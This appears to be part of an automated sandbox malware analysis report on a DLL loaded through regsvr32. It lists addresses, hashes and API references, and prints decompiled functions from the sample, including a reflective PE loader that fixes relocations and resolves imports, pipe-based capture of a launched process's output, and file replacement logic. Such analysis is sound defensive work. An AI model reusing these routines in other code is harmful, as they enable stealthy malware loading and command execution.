0x1001dad7
0x1001dada
0x1001dada
0x1001dada
0x1001dadd
0x00000000
0x00000000
0x00000000
0x00000000
0x1001dadf
0x1001dadf
0x1001daea
0x1001daef
0x1001daf1
0x1001daf4
0x1001daf6
0x00000000
0x00000000
0x1001dafc
0x1001daff
0x1001db02
0x1001db33
0x1001db33
0x1001db35
0x1001db51
0x1001db51
0x1001db53
0x1001dc45
0x1001dc50
0x00000000
0x1001dc51
0x1001db5b
0x1001db5e
0x1001db5f
0x1001db61
0x1001dba5
0x1001dba8
0x1001dc1e
0x1001dc23
0x1001dc28
0x1001dc2b
0x1001dc2e
0x1001dc30
0x00000000
0x00000000
0x1001dc32
0x1001dc34
0x00000000
0x1001dc34
0x1001dbaa
0x1001dbad
0x1001dc17
0x00000000
0x1001dc17
0x1001dbaf
0x1001dbb2
0x1001dc10
0x00000000
0x1001dc10
0x1001dbb4
0x1001dbb9
0x1001dbbb
0x1001dbd4
0x1001dbd8
0x1001dbeb
0x1001dbeb
0x1001dbf1
0x1001dbf5
0x1001dbf6
0x1001dbfe
0x1001dbff
0x1001dc00
0x1001dc05
0x1001dc08
0x1001dbbd
0x1001dbbd
0x1001dbbe
0x1001dbc6
0x1001dbc7
0x1001dbc8
0x1001dbcd
0x1001dbd0
0x1001dbd0
0x1001dc0a
0x1001dc0b
0x00000000
0x1001dc0b
0x1001db63
0x1001db9e
0x00000000
0x1001db9e
0x1001db67
0x1001db67
0x1001db6a
0x1001db94
0x00000000
0x1001db94
0x1001db6c
0x1001db6c
0x1001db6d
0x1001db8a
0x00000000
0x1001db8a
0x1001db6f
0x1001db6f
0x1001db70
0x1001db80
0x00000000
0x1001db80
0x1001db72
0x1001db74
0x00000000
0x00000000
0x1001db76
0x00000000
0x1001db76
0x1001db40
0x1001db43
0x1001db46
0x1001db48
0x00000000
0x00000000
0x1001db4e
0x00000000
0x1001db4e
0x1001db04
0x1001db07
0x00000000
0x00000000
0x1001db09
0x1001db0c
0x00000000
0x00000000
0x1001db0e
0x1001db15
0x1001db1c
0x1001db1c
0x1001db20
0x1001db27
0x1001db27
0x1001db29
0x1001db2c
0x00000000
0x00000000
0x00000000
0x1001db2e
0x1001db22
0x1001db25
0x00000000
0x00000000
0x00000000
0x1001db25
0x1001db17
0x1001db1a
0x00000000
0x00000000
0x00000000
0x1001db1a
0x1001dc4d
0x1001dc4d
0x00000000
0x1001db30
0x1001db30
0x00000000
0x1001db30
0x1001dada
0x00000000

Strings

\u%04X\u%04X, xrefs: 1001DBF6
@, xrefs: 1001DB1C
\u%04X, xrefs: 1001DBBE

Memory Dump Source

Source File: 00000003.00000002.701108906.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.701082448.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.701182570.0000000010020000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.701219486.000000001002A000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_regsvr32.jbxd

Similarity

API ID:
String ID: @$\u%04X$\u%04X\u%04X
API String ID: 0-2132903582
Opcode ID: 6f4a0b4449951161061ccb51b5afc8e44b219f7403670aebb7aac2cbd9f47613
Instruction ID: 3aa97d42aafd4cdaaa539c5eb68fe5e50896b449f2b689cc149baa925b49e0b3
Opcode Fuzzy Hash: 6f4a0b4449951161061ccb51b5afc8e44b219f7403670aebb7aac2cbd9f47613
Instruction Fuzzy Hash: 2C41F771A08246E7DB10FD589CC5BAE3AA9EB40354FA14917FE02DE242D7B4DDC0D2E1

Uniqueness

Uniqueness Score: -1.00%

Function 1000BA6C, Relevance: 7.6, APIs: 5, Instructions: 58
fileCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E1000BA6C(WCHAR* __edi, void* __fp0, WCHAR* _a4) {
				signed int _v8;
				char _v12;
				void _v530;
				short _v532;
				int _t16;
				intOrPtr _t22;
				void* _t32;

				_v8 = _v8 & 0x00000000;
				_t16 = CopyFileW(_a4, __edi, 0);
				_t37 = _t16;
				if(_t16 != 0) {
					L4:
					DeleteFileW(_a4);
				} else {
					_v532 = _t16;
					memset( &_v530, _t16, 0x206);
					_v12 = E10008A90(_t32, 0x317);
					_t22 =  *0x1002b740; // 0x11a04a0
					_push(E1001B7FE(_t37, __fp0, _t22 + 0x648, 1, 0xf4240));
					E1000AF04( &_v532, 0x103, _v12, __edi);
					E1000A741( &_v12);
					if(MoveFileW(__edi,  &_v532) == 0 || CopyFileW(_a4, __edi, 0) == 0) {
						_v8 = _v8 | 0xffffffff;
					} else {
						goto L4;
					}
				}
				return _v8;
			}

0x1000ba75
0x1000ba86
0x1000ba88
0x1000ba8a
0x1000bb13
0x1000bb16
0x1000ba90
0x1000ba96
0x1000baa4
0x1000bab3
0x1000bab6
0x1000bacd
0x1000bade
0x1000bae7
0x1000baff
0x1000bb0d
0x00000000
0x00000000
0x00000000
0x1000baff
0x1000bb21

APIs

CopyFileW.KERNEL32(1000BA4D,00000000,00000000,00000200), ref: 1000BA86
memset.MSVCRT ref: 1000BAA4

Part of subcall function 1000AF04: _vsnwprintf.MSVCRT ref: 1000AF21

MoveFileW.KERNEL32(00000000,?), ref: 1000BAF7
CopyFileW.KERNEL32(1000BA4D,00000000,00000000), ref: 1000BB07
DeleteFileW.KERNEL32(1000BA4D), ref: 1000BB16

Memory Dump Source

Source File: 00000003.00000002.701108906.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.701082448.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.701182570.0000000010020000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.701219486.000000001002A000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_regsvr32.jbxd

Similarity

API ID: File$Copy$DeleteMove_vsnwprintfmemset
String ID:
API String ID: 1114508814-0
Opcode ID: a8634ea44d61d0f19a2c9752932aec6f398edf5b5ec16eca89b6fec20216ac88
Instruction ID: cf551d9869282648124842591f098071862840e3ff52f5e5638d3103d23a040e
Opcode Fuzzy Hash: a8634ea44d61d0f19a2c9752932aec6f398edf5b5ec16eca89b6fec20216ac88
Instruction Fuzzy Hash: AC11517594021DBBFB10DBA4CC89FDE7BBCEB44780F100565B914A6095E7B0DA819B50

Uniqueness

Uniqueness Score: -1.00%

Function 1001E751, Relevance: 7.6, APIs: 5, Instructions: 57
stringCOMMON

Download Yara Rule

C-Code - Quality: 80%

			E1001E751(char* __eax, long long __fp0, char** _a4, long long* _a8) {
				char* _v8;
				long long _v16;
				char* _t12;
				signed int _t14;
				char** _t24;
				char _t27;
				long long _t34;
				void* _t37;

				_t34 = __fp0;
				_t12 = __eax;
				L1001EF14();
				_t27 =  *__eax;
				_t24 = _a4;
				if( *_t27 != 0x2e) {
					_t12 = strchr( *_t24, 0x2e);
					if(_t12 != 0) {
						 *_t12 =  *_t27;
					}
				}
				L1001EEF6();
				 *_t12 =  *_t12 & 0x00000000;
				_t14 = strtod( *_t24,  &_v8);
				_v16 = _t34;
				_t37 = st0;
				asm("fucomp st2");
				asm("fnstsw ax");
				st1 = _t37;
				if((_t14 & 0x00000044) != 0) {
					st0 = _t37;
					goto L7;
				} else {
					asm("fchs");
					asm("fucompp");
					asm("fnstsw ax");
					if((_t14 & 0x00000044) != 0) {
						L7:
						L1001EEF6();
						if( *_t14 != 0x22) {
							goto L5;
						} else {
							return _t14 | 0xffffffff;
						}
					} else {
						L5:
						 *_a8 = _v16;
						return 0;
					}
				}
			}

0x1001e751
0x1001e751
0x1001e759
0x1001e75e
0x1001e763
0x1001e766
0x1001e76c
0x1001e775
0x1001e779
0x1001e779
0x1001e775
0x1001e77b
0x1001e780
0x1001e789
0x1001e78e
0x1001e79c
0x1001e79f
0x1001e7a2
0x1001e7a4
0x1001e7a9
0x1001e7c5
0x00000000
0x1001e7ab
0x1001e7ab
0x1001e7b0
0x1001e7b2
0x1001e7b7
0x1001e7c7
0x1001e7c7
0x1001e7cf
0x00000000
0x1001e7d1
0x1001e7d5
0x1001e7d5
0x1001e7b9
0x1001e7b9
0x1001e7bf
0x1001e7c4
0x1001e7c4
0x1001e7b7

APIs

localeconv.MSVCRT ref: 1001E759
strchr.MSVCRT ref: 1001E76C
_errno.MSVCRT ref: 1001E77B
strtod.MSVCRT ref: 1001E789
_errno.MSVCRT ref: 1001E7C7

Memory Dump Source

Source File: 00000003.00000002.701108906.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.701082448.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.701182570.0000000010020000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.701219486.000000001002A000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_regsvr32.jbxd

Similarity

API ID: _errno$localeconvstrchrstrtod
String ID:
API String ID: 1035490122-0
Opcode ID: 10a7ad3a183198877425019cda8e63acbb84059c53d1ab5777a82c26fb2d0072
Instruction ID: 0d4439b5b8e92817552b27cb6e05ad201849fba5317b62e4e64078c753dec9ec
Opcode Fuzzy Hash: 10a7ad3a183198877425019cda8e63acbb84059c53d1ab5777a82c26fb2d0072
Instruction Fuzzy Hash: 590122369040CAEAEB129B24E445ADD7FF4EF063A0F3140D4E5901B0D1DB31EC91CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 1001BF94, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 142
libraryCOMMON

Download Yara Rule

C-Code - Quality: 50%

			E1001BF94(signed int __eax, intOrPtr _a4) {
				signed int _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				struct HINSTANCE__* _v24;
				signed int _v28;
				signed int _v32;
				struct HINSTANCE__* _v36;
				signed int* _v40;
				intOrPtr* _v44;
				intOrPtr _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				void* _t157;

				_v8 = _v8 & 0x00000000;
				if(_a4 != 0) {
					_v24 = GetModuleHandleA("kernel32.dll");
					_v12 = E1000E77F(_v24, "GetProcAddress");
					_v16 =  *((intOrPtr*)(_a4 + 0x3c)) + _a4;
					_v20 = _v16;
					if( *((intOrPtr*)(_v20 + 0x80)) == 0) {
						L24:
						return 0;
					}
					_v32 = 0x80000000;
					_t18 = _v20 + 0x80; // 0x8b1002b7
					_v44 = _a4 +  *_t18;
					while( *((intOrPtr*)(_v44 + 0xc)) != 0) {
						_v44 = _v44 + 0x14;
					}
					_t26 = _v20 + 0x80; // 0x8b1002b7
					_v44 = _a4 +  *_t26;
					while( *((intOrPtr*)(_v44 + 0xc)) != 0) {
						_v36 = LoadLibraryA( *((intOrPtr*)(_v44 + 0xc)) + _a4);
						if(_v36 != 0) {
							if( *_v44 == 0) {
								_v40 =  *((intOrPtr*)(_v44 + 0x10)) + _a4;
							} else {
								_v40 =  *_v44 + _a4;
							}
							_v28 = _v28 & 0x00000000;
							while( *_v40 != 0) {
								_v64 = _v64 & 0x00000000;
								_v60 = _v60 & 0x00000000;
								_v52 = _v52 & 0x00000000;
								_v56 = _v56 & 0x00000000;
								if(( *_v40 & _v32) == 0) {
									_v48 =  *_v40 + _a4;
									_v56 = _v48 + 2;
									_v64 =  *( *((intOrPtr*)(_v44 + 0x10)) + _a4 + _v28);
									_v60 = _v12(_v36, _v56);
								} else {
									_v64 =  *_v40;
									_v56 = _v64 & 0x0000ffff;
									_v60 = _v12(_v36, _v56);
								}
								if(_v64 != _v60) {
									_v8 = _v8 + 1;
									if( *((intOrPtr*)(_v44 + 0x10)) == 0) {
										 *_v40 = _v60;
									} else {
										 *( *((intOrPtr*)(_v44 + 0x10)) + _a4 + _v28) = _v60;
									}
								}
								_v40 =  &(_v40[1]);
								_v28 = _v28 + 4;
							}
							_v44 = _v44 + 0x14;
							continue;
						}
						_t157 = 0xfffffffd;
						return _t157;
					}
					goto L24;
				}
				return __eax | 0xffffffff;
			}

0x1001bf9a
0x1001bfa2
0x1001bfb7
0x1001bfc9
0x1001bfd5
0x1001bfdb
0x1001bfe8
0x1001c14b
0x00000000
0x1001c14b
0x1001bfee
0x1001bffb
0x1001c001
0x1001c004
0x1001c013
0x1001c013
0x1001c01e
0x1001c024
0x1001c027
0x1001c044
0x1001c04b
0x1001c05b
0x1001c073
0x1001c05d
0x1001c065
0x1001c065
0x1001c076
0x1001c07a
0x1001c086
0x1001c08a
0x1001c08e
0x1001c092
0x1001c09e
0x1001c0c9
0x1001c0d1
0x1001c0e3
0x1001c0ef
0x1001c0a0
0x1001c0a5
0x1001c0b0
0x1001c0bc
0x1001c0bc
0x1001c0f8
0x1001c0fe
0x1001c108
0x1001c124
0x1001c10a
0x1001c119
0x1001c119
0x1001c108
0x1001c12c
0x1001c135
0x1001c135
0x1001c143
0x00000000
0x1001c143
0x1001c04f
0x00000000
0x1001c04f
0x00000000
0x1001c027
0x00000000

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,?,?,?,10002C20,?), ref: 1001BFB1
LoadLibraryA.KERNEL32(00000000), ref: 1001C03E

Strings

GetProcAddress, xrefs: 1001BFBA
kernel32.dll, xrefs: 1001BFAC

Memory Dump Source

Source File: 00000003.00000002.701108906.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.701082448.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.701182570.0000000010020000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.701219486.000000001002A000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_regsvr32.jbxd

Similarity

API ID: HandleLibraryLoadModule
String ID: GetProcAddress$kernel32.dll
API String ID: 4133054770-1584408056
Opcode ID: df7e5eedbe75f04f68d3947d0263a3fc4f8e9ba393e7fafdcc1549dcf24b1f76
Instruction ID: 82ac34576c70f0c892771cfe4c34fdb8201e80a5fe255d4cab5ecf08fe121128
Opcode Fuzzy Hash: df7e5eedbe75f04f68d3947d0263a3fc4f8e9ba393e7fafdcc1549dcf24b1f76
Instruction Fuzzy Hash: 1C617775900209EFDB45CF98D885ADCBBF1FF08365F2484A9E815AB261D734EA80CF64

Uniqueness

Uniqueness Score: -1.00%

Function 1001BD2C, Relevance: 6.2, APIs: 4, Instructions: 206
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 54%

			E1001BD2C(intOrPtr _a4, intOrPtr _a8, intOrPtr* _a12) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				signed short* _v24;
				intOrPtr _v28;
				signed short* _v32;
				intOrPtr _v36;
				unsigned int _v40;
				unsigned int _v44;
				intOrPtr* _v48;
				signed short _v52;
				signed int _v53;
				signed int _v60;
				signed int _v64;
				signed int* _v68;
				struct HINSTANCE__* _v72;
				intOrPtr* _v76;
				intOrPtr _v80;
				_Unknown_base(*)()* _v84;
				void* _t181;
				intOrPtr _t224;

				_v8 =  *((intOrPtr*)(_a4 + 0x3c)) + _a4;
				_v16 = _v8;
				_t224 = _a4 -  *((intOrPtr*)(_v16 + 0x34));
				_v12 = _t224;
				if(_t224 == 0) {
					L13:
					while(0 != 0) {
					}
					if( *((intOrPtr*)(_v16 + 0x80)) == 0) {
						L35:
						_v20 =  *((intOrPtr*)(_v16 + 0x28)) + _a4;
						while(0 != 0) {
						}
						if(_a12 != 0) {
							 *_a12 = _v20;
						}
						 *((intOrPtr*)(_v16 + 0x34)) = _a4;
						return _v20(_a4, 1, _a8);
					}
					_v64 = 0x80000000;
					_v76 = _a4 +  *((intOrPtr*)(_v16 + 0x80));
					while( *((intOrPtr*)(_v76 + 0xc)) != 0) {
						_v72 = GetModuleHandleA( *((intOrPtr*)(_v76 + 0xc)) + _a4);
						if(_v72 == 0) {
							_v72 = LoadLibraryA( *((intOrPtr*)(_v76 + 0xc)) + _a4);
						}
						if(_v72 != 0) {
							if( *_v76 == 0) {
								_v68 =  *((intOrPtr*)(_v76 + 0x10)) + _a4;
							} else {
								_v68 =  *_v76 + _a4;
							}
							_v60 = _v60 & 0x00000000;
							while( *_v68 != 0) {
								if(( *_v68 & _v64) == 0) {
									_v80 =  *_v68 + _a4;
									_v84 = GetProcAddress(_v72, _v80 + 2);
								} else {
									_v84 = GetProcAddress(_v72,  *_v68 & 0x0000ffff);
								}
								if( *((intOrPtr*)(_v76 + 0x10)) == 0) {
									 *_v68 = _v84;
								} else {
									 *( *((intOrPtr*)(_v76 + 0x10)) + _a4 + _v60) = _v84;
								}
								_v68 =  &(_v68[1]);
								_v60 = _v60 + 4;
							}
							_v76 = _v76 + 0x14;
							continue;
						} else {
							_t181 = 0xfffffffd;
							return _t181;
						}
					}
					goto L35;
				}
				_v24 = _a4 +  *((intOrPtr*)(_v16 + 0xa0));
				_v28 =  *((intOrPtr*)(_v16 + 0xa4));
				while(0 != 0) {
				}
				while(_v28 > 0) {
					_v40 = _v24[2];
					_v28 = _v28 - _v40;
					_v40 = _v40 - 8;
					_v40 = _v40 >> 1;
					_v32 =  &(_v24[4]);
					_v36 = _a4 +  *_v24;
					_v44 = _v40;
					while(1) {
						_v44 = _v44 - 1;
						if(_v44 == 0) {
							break;
						}
						_v53 = ( *_v32 & 0x0000ffff) >> 0xc;
						_v52 =  *_v32 & 0xfff;
						_v48 = (_v52 & 0x0000ffff) + _v36;
						if((_v53 & 0x000000ff) != 3) {
							if((_v53 & 0x000000ff) == 0xa) {
								 *_v48 =  *_v48 + _v12;
							}
						} else {
							 *_v48 =  *_v48 + _v12;
						}
						_v32 =  &(_v32[1]);
					}
					_v24 = _v32;
				}
				goto L13;
			}

0x1001bd3b
0x1001bd41
0x1001bd4a
0x1001bd4d
0x1001bd50
0x00000000
0x1001be34
0x1001be38
0x1001be44
0x1001bf5e
0x1001bf67
0x1001bf6a
0x1001bf6e
0x1001bf74
0x1001bf7c
0x1001bf7c
0x1001bf84
0x00000000
0x1001bf8f
0x1001be4a
0x1001be5d
0x1001be60
0x1001be7d
0x1001be84
0x1001be96
0x1001be96
0x1001be9d
0x1001bead
0x1001bec5
0x1001beaf
0x1001beb7
0x1001beb7
0x1001bec8
0x1001becc
0x1001bedc
0x1001beff
0x1001bf11
0x1001bede
0x1001bef2
0x1001bef2
0x1001bf1b
0x1001bf37
0x1001bf1d
0x1001bf2c
0x1001bf2c
0x1001bf3f
0x1001bf48
0x1001bf48
0x1001bf56
0x00000000
0x1001be9f
0x1001bea1
0x00000000
0x1001bea1
0x1001be9d
0x00000000
0x1001be60
0x1001bd62
0x1001bd6e
0x1001bd71
0x1001bd75
0x1001bd77
0x1001bd87
0x1001bd90
0x1001bd99
0x1001bda1
0x1001bdaa
0x1001bdb5
0x1001bdbb
0x1001bdbe
0x1001bdc5
0x1001bdca
0x00000000
0x00000000
0x1001bdd5
0x1001bde3
0x1001bdee
0x1001bdf8
0x1001be10
0x1001be1d
0x1001be1d
0x1001bdfa
0x1001be05
0x1001be05
0x1001be24
0x1001be24
0x1001be2c
0x1001be2c
0x00000000

APIs

GetModuleHandleA.KERNEL32(?), ref: 1001BE77
LoadLibraryA.KERNEL32(?), ref: 1001BE90
GetProcAddress.KERNEL32(00000000,?), ref: 1001BEEC
GetProcAddress.KERNEL32(00000000,?), ref: 1001BF0B

Memory Dump Source

Source File: 00000003.00000002.701108906.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.701082448.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.701182570.0000000010020000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.701219486.000000001002A000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_regsvr32.jbxd

Similarity

API ID: AddressProc$HandleLibraryLoadModule
String ID:
API String ID: 384173800-0
Opcode ID: 4f152f260ee213d4af1ede54ed3042bced1420aea92f3b463bad67ade77125ec
Instruction ID: ca32bb94881598d3cb236e0b3becb81e3c3f44cad49a5e5870226fa006aa0839
Opcode Fuzzy Hash: 4f152f260ee213d4af1ede54ed3042bced1420aea92f3b463bad67ade77125ec
Instruction Fuzzy Hash: 09A15778A00619DFCB54CF98C884AADBBF1FF08354F158469E915AB351D734E982CF54

Uniqueness

Uniqueness Score: -1.00%

Function 1000A556, Relevance: 6.2, APIs: 4, Instructions: 177
pipeCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E1000A556(intOrPtr _a4) {
				long _v12;
				void* _v16;
				void* _v20;
				void* _v24;
				void* _v28;
				char _v32;
				char _v36;
				int _v40;
				struct _SECURITY_ATTRIBUTES _v52;
				intOrPtr _v64;
				char _v68;
				intOrPtr _v80;
				intOrPtr _v84;
				void* _v88;
				short _v96;
				intOrPtr _v100;
				void _v144;
				intOrPtr _t77;
				intOrPtr _t79;
				void* _t81;
				intOrPtr _t88;
				intOrPtr _t90;
				intOrPtr _t92;
				intOrPtr _t95;
				int _t98;
				intOrPtr _t104;
				intOrPtr _t106;
				intOrPtr _t126;
				int _t127;
				void* _t128;
				void* _t129;
				void* _t130;
				void* _t131;

				_t127 = 0x44;
				_v20 = 0;
				_v28 = 0;
				_v16 = 0;
				_v24 = 0;
				_v52.nLength = 0xc;
				_v52.lpSecurityDescriptor = 0;
				_v52.bInheritHandle = 1;
				_v36 = 0;
				_v12 = 0;
				memset( &_v144, 0, _t127);
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_t131 = _t130 + 0xc;
				asm("stosd");
				if(CreatePipe( &_v20,  &_v28,  &_v52, 0) != 0) {
					if(CreatePipe( &_v16,  &_v24,  &_v52, 0) == 0) {
						L14:
						E100094F4( &_v36, 0);
						if(_v28 != 0) {
							_t79 =  *0x1002b760; // 0x121f8b0
							 *((intOrPtr*)(_t79 + 0x30))(_v28);
						}
						if(_v16 != 0) {
							_t77 =  *0x1002b760; // 0x121f8b0
							 *((intOrPtr*)(_t77 + 0x30))(_v16);
						}
						return _v12;
					}
					_t81 = _v24;
					_v80 = _t81;
					_v84 = _t81;
					_v88 = _v20;
					_v144 = _t127;
					_v100 = 0x101;
					_v96 = 0;
					_t126 = E10009568(0x1001);
					_v36 = _t126;
					if(_t126 == 0) {
						goto L1;
					}
					_push( &_v68);
					_push( &_v144);
					_t88 =  *0x1002b760; // 0x121f8b0
					_push(0);
					_push(0);
					_push(0x8000000);
					_push(1);
					_push(0);
					_push(0);
					_push(_a4);
					_push(0);
					if( *((intOrPtr*)(_t88 + 0x38))() == 0) {
						goto L14;
					}
					_t90 =  *0x1002b760; // 0x121f8b0
					 *((intOrPtr*)(_t90 + 0x30))(_v20);
					_t92 =  *0x1002b760; // 0x121f8b0
					 *((intOrPtr*)(_t92 + 0x30))(_v24);
					_v32 = 0;
					do {
						_t95 =  *0x1002b760; // 0x121f8b0
						_t128 =  *((intOrPtr*)(_t95 + 0x88))(_v16, _t126, 0x1000,  &_v32, 0);
						 *((char*)(_v32 + _t126)) = 0;
						_t98 = _v12;
						if(_t98 == 0) {
							_v12 = E1000AA4C(0, _t126);
						} else {
							_push(0);
							_push(_t126);
							_v40 = _t98;
							_v12 = E1000AB67(_t98);
							E100094F4( &_v40, 0xffffffff);
							_t131 = _t131 + 0x14;
						}
					} while (_t128 != 0);
					if(IsTextUnicode(_v12, E1000C90F(_v12),  &_v40) != 0) {
						L13:
						_t104 =  *0x1002b760; // 0x121f8b0
						 *((intOrPtr*)(_t104 + 0x30))(_v68);
						_t106 =  *0x1002b760; // 0x121f8b0
						 *((intOrPtr*)(_t106 + 0x30))(_v64);
						goto L14;
					}
					_t129 = E1000ADFD(_v12);
					if(_t129 == 0) {
						goto L13;
					}
					E100094F4( &_v12, 0);
					return _t129;
				}
				L1:
				return 0;
			}

0x1000a566
0x1000a570
0x1000a573
0x1000a576
0x1000a579
0x1000a57c
0x1000a583
0x1000a586
0x1000a58d
0x1000a590
0x1000a593
0x1000a59d
0x1000a59e
0x1000a59f
0x1000a5a0
0x1000a5a3
0x1000a5bb
0x1000a5d5
0x1000a6fa
0x1000a6ff
0x1000a709
0x1000a70e
0x1000a713
0x1000a713
0x1000a719
0x1000a71e
0x1000a723
0x1000a723
0x00000000
0x1000a726
0x1000a5db
0x1000a5de
0x1000a5e1
0x1000a5e7
0x1000a5f1
0x1000a5f7
0x1000a5fe
0x1000a607
0x1000a60a
0x1000a60f
0x00000000
0x00000000
0x1000a614
0x1000a61b
0x1000a61c
0x1000a621
0x1000a622
0x1000a623
0x1000a628
0x1000a62a
0x1000a62b
0x1000a62c
0x1000a62f
0x1000a635
0x00000000
0x00000000
0x1000a63e
0x1000a643
0x1000a649
0x1000a64e
0x1000a651
0x1000a654
0x1000a659
0x1000a66d
0x1000a672
0x1000a675
0x1000a67a
0x1000a6a3
0x1000a67c
0x1000a67c
0x1000a67d
0x1000a67f
0x1000a687
0x1000a690
0x1000a695
0x1000a695
0x1000a6a6
0x1000a6c3
0x1000a6e4
0x1000a6e7
0x1000a6ec
0x1000a6f2
0x1000a6f7
0x00000000
0x1000a6f7
0x1000a6cd
0x1000a6d2
0x00000000
0x00000000
0x1000a6d9
0x00000000
0x1000a6e0
0x1000a5bd
0x00000000

APIs

memset.MSVCRT ref: 1000A593
CreatePipe.KERNEL32(?,?,0000000C,00000000,0000003F,00000000,00000000), ref: 1000A5B7
CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 1000A5D1
IsTextUnicode.ADVAPI32(10001277,00000000,?), ref: 1000A6BB

Memory Dump Source

Source File: 00000003.00000002.701108906.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.701082448.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.701182570.0000000010020000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.701219486.000000001002A000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_regsvr32.jbxd

Similarity

API ID: CreatePipe$TextUnicodememset
String ID:
API String ID: 3251035996-0
Opcode ID: cf07387d25ce7cf2d213a5c8d2927dc7c607a672fa7f42d4f5f3fc02829fc8c6
Instruction ID: bd886e6fbd2eadc04124d33442ef8f6b02d80b54dcafad0bff04d903b63d81fe
Opcode Fuzzy Hash: cf07387d25ce7cf2d213a5c8d2927dc7c607a672fa7f42d4f5f3fc02829fc8c6
Instruction Fuzzy Hash: 2851D7B6D0421DAFEB01DFA9CC84EDEBBB8FB08380F15416AE505E7165DB3199858B60

Uniqueness

Uniqueness Score: -1.00%

Function 10003D08, Relevance: 6.1, APIs: 4, Instructions: 109
threadCOMMON

Download Yara Rule

C-Code - Quality: 64%

			E10003D08(void* __ecx, void* __edx, intOrPtr _a4) {
				char _v16;
				intOrPtr _v20;
				char _v28;
				intOrPtr _v32;
				char _v36;
				void* __esi;
				intOrPtr _t16;
				void* _t17;
				char _t19;
				intOrPtr _t21;
				void* _t22;
				void* _t23;
				intOrPtr _t29;
				intOrPtr _t31;
				signed int _t35;
				intOrPtr _t38;
				intOrPtr _t39;
				intOrPtr _t41;
				void* _t46;
				void* _t48;
				void* _t53;
				intOrPtr _t56;
				void* _t57;
				signed int _t61;
				signed int _t64;
				void* _t72;

				_t57 = __edx;
				_t46 = __ecx;
				_push(_t61);
				while(1) {
					_t16 =  *0x1002b760; // 0x121f8b0
					_t17 =  *((intOrPtr*)(_t16 + 0x2c))( *0x1002b77c, 0);
					if(_t17 == 0 || _t17 == 0x80) {
						break;
					}
					_t61 =  &_v36;
					E1000B036(_t46, _t57, _t61);
					_t56 =  *0x1002b788; // 0x0
					_t38 =  *0x1002b78c; // 0x0
					_t46 = _t56 + 0xe10;
					asm("adc eax, ebx");
					_t72 = _t38 - _v32;
					if(_t72 > 0 || _t72 >= 0 && _t46 >= _v36) {
						_t35 = 0xfffffffe;
						L14:
						return _t35;
					} else {
						_t39 =  *0x1002b760; // 0x121f8b0
						_push(0);
						_push( *0x1002b79c);
						if( *((intOrPtr*)(_t39 + 0xc8))() == 0) {
							break;
						}
						_t41 =  *0x1002b760; // 0x121f8b0
						 *((intOrPtr*)(_t41 + 0xb4))(0x3e8);
						continue;
					}
				}
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_t19 =  *0x1002b7ac; // 0x0
				_v28 = _t19;
				_t21 = E1000B6D7(_a4,  &_v16);
				_pop(_t48);
				_v20 = _t21;
				if(_t21 != 0) {
					_t22 = GetCurrentProcess();
					_t23 = GetCurrentThread();
					DuplicateHandle(GetCurrentProcess(), _t23, _t22, 0x1002b79c, 0, 0, 2);
					E1000B036(_t48, _t57, 0x1002b788);
					_t64 = E1000378E(_t57,  &_v28, E10003894);
					if(_t64 >= 0) {
						_push(0);
						_push( *0x1002b828);
						_t53 = 0x27;
						E10008B5C(_t53);
					}
				} else {
					_t64 = _t61 | 0xffffffff;
				}
				_t29 =  *0x1002b760; // 0x121f8b0
				 *((intOrPtr*)(_t29 + 0x30))( *0x1002b79c);
				_t31 =  *0x1002b760; // 0x121f8b0
				 *0x1002b79c = 0;
				 *((intOrPtr*)(_t31 + 0x90))( *0x1002b77c);
				E100094F4( &_v28, 0);
				_t35 = _t64;
				goto L14;
			}

0x10003d08
0x10003d08
0x10003d12
0x10003d16
0x10003d16
0x10003d22
0x10003d27
0x00000000
0x00000000
0x10003d30
0x10003d34
0x10003d39
0x10003d3f
0x10003d44
0x10003d4a
0x10003d4c
0x10003d50
0x10003d84
0x10003e41
0x10003e47
0x10003d5a
0x10003d5a
0x10003d5f
0x10003d60
0x10003d6e
0x00000000
0x00000000
0x10003d70
0x10003d7a
0x00000000
0x10003d7a
0x10003d50
